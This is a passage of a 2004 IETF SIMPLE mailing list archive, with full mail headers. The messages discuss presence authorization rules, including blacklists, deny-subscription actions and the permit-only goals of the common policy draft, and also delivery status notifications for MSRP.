> >=20
> > <actions>
> >    <ask-for-confirmation/>
> > </actions>
> > </rule>
> >=20
> > <rule>
> > <conditions>
> >    <identity>
> >      <user>joe</user>
> >    <identity>
> > </conditions>
> >=20
> > <actions>
> >    <deny-subscription/>
> > </actions>
> > </rule>
> >=20
> >=20
> > Of course, you need to be careful that the user joe is not a=20
> > member of=20
> > any other rule which grants a permission greater than=20
> > "deny-subscription", but thats a fundamental property of=20
> the model in=20
> > general.
> >=20
> > -Jonathan R.
> >=20
> > Ben Campbell wrote:
> >=20
> > > Ted Hardie wrote:
> > >=20
> > >> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
> > >>
> > >>> "Everybody in the world, in any domain, gets to *ask* to=20
> > subscribe to=20
> > >>> my presence, but Alice, Bob and Carol have already been=20
> > told to take=20
> > >>> a hike and thus shouldn't even be able to ask."
> > >>>
> > >>> Is this the type of rule we want to be to support?
> > >>
> > >>
> > >>
> > >> It's seems to me to be a lot easier just to keep telling=20
> > them to take=20
> > >> a hike
> > >> whenever they ask; is there a reason to optimize for this=20
> > case that I'm
> > >> missing?
> > >=20
> > >=20
> > > The act of asking can become a kind of harrassment. Some=20
> > time ago, I had=20
> > > a yahoo messenger user that continuously asked permission=20
> > to watch my=20
> > > presence, but refused to identify themselves to me. This=20
> > continued after=20
> > > I asked them to desist. Fortunately, yahoo messenger=20
> > allowed me to block=20
> > > that ID, so I no longer get bothered by them.
> > >=20
> >=20
> > --=20
> > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > Chief Technology Officer                    Parsippany, NJ=20
> 07054-2711
> > dynamicsoft
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 09:53:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24930
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 09:53:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h5M-0001bV-7Q
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 09:52:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VEquGI006161
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 09:52:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h5M-0001bI-17
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 09:52:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24864
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 09:52:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h5K-00034f-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 09:52:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8h4K-00030C-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 09:51:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h3L-0002vr-00; Wed, 31 Mar 2004 09:50:51 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h2X-0001Ho-BI; Wed, 31 Mar 2004 09:50:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h1a-0001Dz-KO
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 09:49:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24642
	for <simple@ietf.org>; Wed, 31 Mar 2004 09:48:48 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h1O-0002nz-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:48:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8h0Q-0002kJ-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:47:51 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gzS-0002aq-00; Wed, 31 Mar 2004 09:46:50 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VEiG304075;
	Wed, 31 Mar 2004 17:44:16 +0300 (EET DST)
X-Scanned: Wed, 31 Mar 2004 17:44:09 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2VEi9Df032259;
	Wed, 31 Mar 2004 17:44:09 +0300
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00sCiJS0; Wed, 31 Mar 2004 17:44:07 EEST
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VEi1F03332;
	Wed, 31 Mar 2004 17:44:01 +0300 (EET DST)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 31 Mar 2004 17:44:00 +0300
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5C0A@esebe018.ntc.nokia.com>
Thread-Topic: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQXFj+5MxorwrdETN6H4qgnCmqHMgADpJOw
To: <hannes.tschofenig@siemens.com>, <jdrosen@dynamicsoft.com>,
        <bcampbell@dynamicsoft.com>
Cc: <hardie@qualcomm.com>, <hgs@cs.columbia.edu>, <simple@ietf.org>,
        <geopriv@ietf.org>
X-OriginalArrivalTime: 31 Mar 2004 14:44:00.0135 (UTC) FILETIME=[9A81D170:01C4172E]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 17:43:59 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

I see that this is another case, where it would be beneficial that the =
<action>s would be ordered in similar way as other permissions. I guess =
the "lowest" or default value would be <deny-subscription>, as that =
gives least information out, so there would not be even need to have =
that in any rules?

Markus=20

> -----Original Message-----
> From: ext Tschofenig Hannes [mailto:hannes.tschofenig@siemens.com]
> Sent: 31 March, 2004 14:48
> To: 'Jonathan Rosenberg'; Ben Campbell
> Cc: Ted Hardie; Henning Schulzrinne; Isomaki Markus
> (Nokia-NRC/Helsinki); simple@ietf.org; 'geopriv@ietf.org'
> Subject: RE: supporitng blacklists, was: Re: [Simple]=20
> Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
>=20
>=20
> -- cc to geopriv ml
>=20
> hi jonathan,=20
>=20
> you propose an action with is a deny. doesn't this conflict=20
> with the goals
> expressed in the common policy draft (
> http://www.ietf.org/internet-drafts/draft-ietf-geopriv-common-
> policy-00.txt)
> where Section 4 (Goals and Assumptions) specifies 'Permit=20
> only' actions are
> allowed. do you suggest that we modifying our=20
> goals/assumptions or do i miss
> something?
>=20
> ciao
> hannes
>=20
>=20
> > -----Original Message-----
> > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > Sent: Thursday, March 25, 2004 4:43 PM
> > To: Ben Campbell
> > Cc: Ted Hardie; Henning Schulzrinne; Markus.Isomaki@nokia.com;
> > simple@ietf.org
> > Subject: Re: supporitng blacklists, was: Re: [Simple]=20
> > Comments on: First
> > draft of text on semantic-based authorization policies [exceptions]
> >=20
> >=20
> > You can still achieve the functionality you want, Ben,=20
> > without requiring=20
> > the new rule Henning had proposed:
> >=20
> > <rule>
> > <conditions>
> >    <identity>
> >      <domain>example.com</domain>
> >      <except>joe</except>
> >    <identity>
> > </conditions>
> >=20
> > <actions>
> >    <ask-for-confirmation/>
> > </actions>
> > </rule>
> >=20
> > <rule>
> > <conditions>
> >    <identity>
> >      <user>joe</user>
> >    <identity>
> > </conditions>
> >=20
> > <actions>
> >    <deny-subscription/>
> > </actions>
> > </rule>
> >=20
> >=20
> > Of course, you need to be careful that the user joe is not a=20
> > member of=20
> > any other rule which grants a permission greater than=20
> > "deny-subscription", but thats a fundamental property of=20
> the model in=20
> > general.
> >=20
> > -Jonathan R.
> >=20
> > Ben Campbell wrote:
> >=20
> > > Ted Hardie wrote:
> > >=20
> > >> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
> > >>
> > >>> "Everybody in the world, in any domain, gets to *ask* to=20
> > subscribe to=20
> > >>> my presence, but Alice, Bob and Carol have already been=20
> > told to take=20
> > >>> a hike and thus shouldn't even be able to ask."
> > >>>
> > >>> Is this the type of rule we want to be to support?
> > >>
> > >>
> > >>
> > >> It's seems to me to be a lot easier just to keep telling=20
> > them to take=20
> > >> a hike
> > >> whenever they ask; is there a reason to optimize for this=20
> > case that I'm
> > >> missing?
> > >=20
> > >=20
> > > The act of asking can become a kind of harrassment. Some=20
> > time ago, I had=20
> > > a yahoo messenger user that continuously asked permission=20
> > to watch my=20
> > > presence, but refused to identify themselves to me. This=20
> > continued after=20
> > > I asked them to desist. Fortunately, yahoo messenger=20
> > allowed me to block=20
> > > that ID, so I no longer get bothered by them.
> > >=20
> >=20
> > --=20
> > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > Chief Technology Officer                    Parsippany, NJ=20
> 07054-2711
> > dynamicsoft
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 12:33:31 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03079
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 12:33:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jan-0005cO-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 12:33:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8jZf-0005Yf-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 12:32:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jZO-0005Vu-00; Wed, 31 Mar 2004 12:32:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8jYM-0004t2-Fs; Wed, 31 Mar 2004 12:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8jXi-0004rk-AM
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 12:30:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02901
	for <simple@ietf.org>; Wed, 31 Mar 2004 12:30:08 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jXW-0005Sj-00
	for simple@ietf.org; Wed, 31 Mar 2004 12:30:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8jWd-0005Pf-00
	for simple@ietf.org; Wed, 31 Mar 2004 12:29:15 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jW2-0005OE-00
	for simple@ietf.org; Wed, 31 Mar 2004 12:28:38 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VHRGF18252;
	Wed, 31 Mar 2004 20:27:16 +0300 (EET DST)
X-Scanned: Wed, 31 Mar 2004 20:26:33 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2VHQXWr009520;
	Wed, 31 Mar 2004 20:26:33 +0300
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00QJ0tIA; Wed, 31 Mar 2004 20:26:32 EEST
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VHQJs09840;
	Wed, 31 Mar 2004 20:26:19 +0300 (EET DST)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 31 Mar 2004 20:26:19 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB702085CF2@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQB+KLNU1dyn18XTVeMUTcKSzyrlQVERZLw
To: <vkg@lucent.com>
Cc: <vikas@arciis.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 31 Mar 2004 17:26:19.0370 (UTC) FILETIME=[478B24A0:01C41745]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 20:26:20 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

This is a good summary, although point 4 can be debatable: How useful is =
it to request receive notification in session mode?

/Hisham

> -----Original Message-----
> From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
> Sent: 04.March.2004 16:53
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> (Nokia-M/Espoo)
> Subject: Re: [Simple] return receipt and delivery status notification
> for MSRP
>=20
>=20
>=20
> hisham.khartabil@nokia.com wrote:
>=20
> > It is optional. If it is annoying to you, then you don't=20
> > request a delivery notification. It is not every time and it is=20
> > not mandatory.
>=20
> So, just to be pedantic, please correct me if my summary below
> is wrong:
>=20
>    1/ We are interested in DSNs at the _user_ level, not the
>       _protocol_ level (i.e. the transactional model at the
>       protocol level is sufficient for protocol state
>       machines to figure out if an IM was delivered to the
>       next hop successfully or not).
>    2/ We should design protocol provisions such that a positive
>       acknowledgement DSN model is supported (let me know
>       the current state of the IM: queued, delivered, read,
>       being responded to, ...).
>    3/ We should design protocol provisions such that a negative
>       acknowledgement DSN model is supported (send it and
>       forget it unless something drastic happens, then
>       let me know).
>    4/ Both 2 and 3 should apply to page mode and session
>       mode IMs.
>    5/ Both 2 and 3 should be configurable by the sending
>       user.
>=20
> Is this accurate?
>=20
> Thanks,
>=20
> - vijay
> --=20
> Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
> Wireless Networks Group/Internet Software and Services
> Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
> Naperville, Illinois 60566     Voice: +1 630 224 0216
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 12:34:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03139
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 12:34:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8jaq-00050B-6s
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 12:33:37 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VHXa0L019228
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 12:33:36 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8jap-000503-VM
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 12:33:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03097
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 12:33:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jao-0005cT-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 12:33:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8jZg-0005Ym-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 12:32:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jZO-0005Vu-00; Wed, 31 Mar 2004 12:32:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8jYM-0004t2-Fs; Wed, 31 Mar 2004 12:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8jXi-0004rk-AM
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 12:30:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02901
	for <simple@ietf.org>; Wed, 31 Mar 2004 12:30:08 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jXW-0005Sj-00
	for simple@ietf.org; Wed, 31 Mar 2004 12:30:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8jWd-0005Pf-00
	for simple@ietf.org; Wed, 31 Mar 2004 12:29:15 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8jW2-0005OE-00
	for simple@ietf.org; Wed, 31 Mar 2004 12:28:38 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VHRGF18252;
	Wed, 31 Mar 2004 20:27:16 +0300 (EET DST)
X-Scanned: Wed, 31 Mar 2004 20:26:33 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2VHQXWr009520;
	Wed, 31 Mar 2004 20:26:33 +0300
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00QJ0tIA; Wed, 31 Mar 2004 20:26:32 EEST
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VHQJs09840;
	Wed, 31 Mar 2004 20:26:19 +0300 (EET DST)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 31 Mar 2004 20:26:19 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB702085CF2@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQB+KLNU1dyn18XTVeMUTcKSzyrlQVERZLw
To: <vkg@lucent.com>
Cc: <vikas@arciis.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 31 Mar 2004 17:26:19.0370 (UTC) FILETIME=[478B24A0:01C41745]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 20:26:20 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

This is a good summary, although point 4 can be debatable: How useful is =
it to request receive notification in session mode?

/Hisham

> -----Original Message-----
> From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
> Sent: 04.March.2004 16:53
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> (Nokia-M/Espoo)
> Subject: Re: [Simple] return receipt and delivery status notification
> for MSRP
>=20
>=20
>=20
> hisham.khartabil@nokia.com wrote:
>=20
> > It is optional. If it is annoying to you, then you don't=20
> > request a delivery notification. It is not every time and it is=20
> > not mandatory.
>=20
> So, just to be pedantic, please correct me if my summary below
> is wrong:
>=20
>    1/ We are interested in DSNs at the _user_ level, not the
>       _protocol_ level (i.e. the transactional model at the
>       protocol level is sufficient for protocol state
>       machines to figure out if an IM was delivered to the
>       next hop successfully or not).
>    2/ We should design protocol provisions such that a positive
>       acknowledgement DSN model is supported (let me know
>       the current state of the IM: queued, delivered, read,
>       being responded to, ...).
>    3/ We should design protocol provisions such that a negative
>       acknowledgement DSN model is supported (send it and
>       forget it unless something drastic happens, then
>       let me know).
>    4/ Both 2 and 3 should apply to page mode and session
>       mode IMs.
>    5/ Both 2 and 3 should be configurable by the sending
>       user.
>=20
> Is this accurate?
>=20
> Thanks,
>=20
> - vijay
> --=20
> Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
> Wireless Networks Group/Internet Software and Services
> Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
> Naperville, Illinois 60566     Voice: +1 630 224 0216
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 16:17:12 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAB13548
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 16:17:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n5G-0002q3-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 16:17:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8n4H-0002nv-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 16:16:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n3K-0002mA-00; Wed, 31 Mar 2004 16:15:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8n37-00068v-BS; Wed, 31 Mar 2004 16:15:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8n2P-00062q-2F
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 16:14:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13497
	for <simple@ietf.org>; Wed, 31 Mar 2004 16:14:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n2N-0002im-00
	for simple@ietf.org; Wed, 31 Mar 2004 16:14:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8n1N-0002gs-00
	for simple@ietf.org; Wed, 31 Mar 2004 16:13:14 -0500
Received: from mail2.microsoft.com ([131.107.3.124])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n0Q-0002e7-00
	for simple@ietf.org; Wed, 31 Mar 2004 16:12:14 -0500
Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.1041);
	 Wed, 31 Mar 2004 13:11:53 -0800
Received: from 157.54.6.150 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 31 Mar 2004 13:11:27 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by inet-hub-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 31 Mar 2004 13:11:25 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <DD07841287D0AD428833021705E0D14E01CE12CD@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQB+KLNU1dyn18XTVeMUTcKSzyrlQVERZLwABZTOPA=
From: "Orit Levin" <oritl@microsoft.com>
To: <hisham.khartabil@nokia.com>, <vkg@lucent.com>
Cc: <vikas@arciis.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 31 Mar 2004 21:11:25.0057 (UTC) FILETIME=[B98F6F10:01C41764]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
